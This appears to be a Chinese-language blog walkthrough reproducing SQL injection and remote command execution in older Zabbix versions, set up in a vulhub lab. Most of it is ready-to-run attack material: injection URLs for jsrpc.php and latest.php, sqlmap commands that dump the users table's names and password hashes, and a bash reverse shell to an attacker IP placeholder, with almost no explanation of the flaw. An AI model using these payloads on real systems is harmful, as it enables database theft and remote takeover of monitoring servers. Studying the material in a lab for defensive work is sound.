0x00 實驗環境
攻擊機:Ubuntu
靶場:vulhub搭建的靶場環境
0x01 影響版本
zabbix 2.0.x|2.2.x|2.4.x|3.0.0-3.0.3
0x02 漏洞復現
方法一:存在guest空密碼賬號,無需登錄可爆出漏洞:
(1)訪問頁面:

(2)無需登錄,使用注入語句:
http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)
(3)爆出用戶名與ip信息:
updatexml(0,concat(0xa,user()),0)

方法二:直接使用sqlmap跑一下:
(1)跑出來存在注入:

(2)跑數據庫:
python2 sqlmap.py -u "http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=*" --dbms=mysql -p "profileIdx2" --technique E --dbs

(3)跑表
python2 sqlmap.py -u "http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=*" --dbms=mysql -p "profileIdx2" --technique E -D zabbix --tables

(4)跑列
python2 sqlmap.py -u "http://1x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=*" --dbms=mysql -p "profileIdx2" --technique E -D zabbix -T users --columns

(5)跑其列的數據
python2 sqlmap.py -u "http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=*" --dbms=mysql -p "profileIdx2" --technique E -D zabbix -T users -C userid,name,passwd --dump

(6)從md5查詢其結果

方法三:不同的注入頁面,使用不同的注入語句:
latest.php?output=ajax&sid=89ef7941e55db49d&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)
(1)使用(guest/空)登錄后,獲取下圖zbx_sessionid的16位值:

(2)使用下面的語句進行注入查詢
http://x.x.x.x:8080/latest.php?output=ajax&sid=89ef7941e55db49d&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)

方法四:getshell的話需要設置一下配置文件:
docker exec -it acb6e32199fd /bin/sh
這里的acb6e32199fd為對應容器的CONTAINER ID,根據自己電腦修改
vi /etc/zabbix/zabbix_agentd.conf
輸入i進行編輯,添加EnableRemoteCommands = 1后按下esc鍵輸入:wq保存並退出

(1)按照上面的修改一下配置文件:

(2)重啟容器
重啟容器
docker restart acb6e32199fd

(3)使用admin/zabbix登錄進來:

(4)創建一個zabbix的可執行腳本(Administration--->Scripts)

(4)點擊執行(Monitoring--->Latest data),在“Select”處選擇所有模塊,然后點擊“Filter”:

(5)點擊“Zabbix server” 后點擊你創建的那個腳本的名字“test”:

(6)執行成功,我這邊是因為環境問題,所以沒有執行成功,但是大體步驟就是我上述所示:

(7)只要將上面的touch換成反彈shell的命令即可:
/bin/bash -i > /dev/tcp/攻擊機IP/端口 0<&1 2>&1
0x03 漏洞原理
自行研究一下那個php文件的注入的地方吧,這個涉及框架啥的,我只想靜靜地當一只腳本小子。
0x04 參考文獻
https://blog.csdn.net/qq_43645782/article/details/106588179
0x05 免責聲明
本漏洞復現文章僅用於學習、工作與興趣愛好,並立志為網絡安全奉獻一份力量,凡是利用本博客相關內容的無良hackers造成的安全事故均與本人無關!
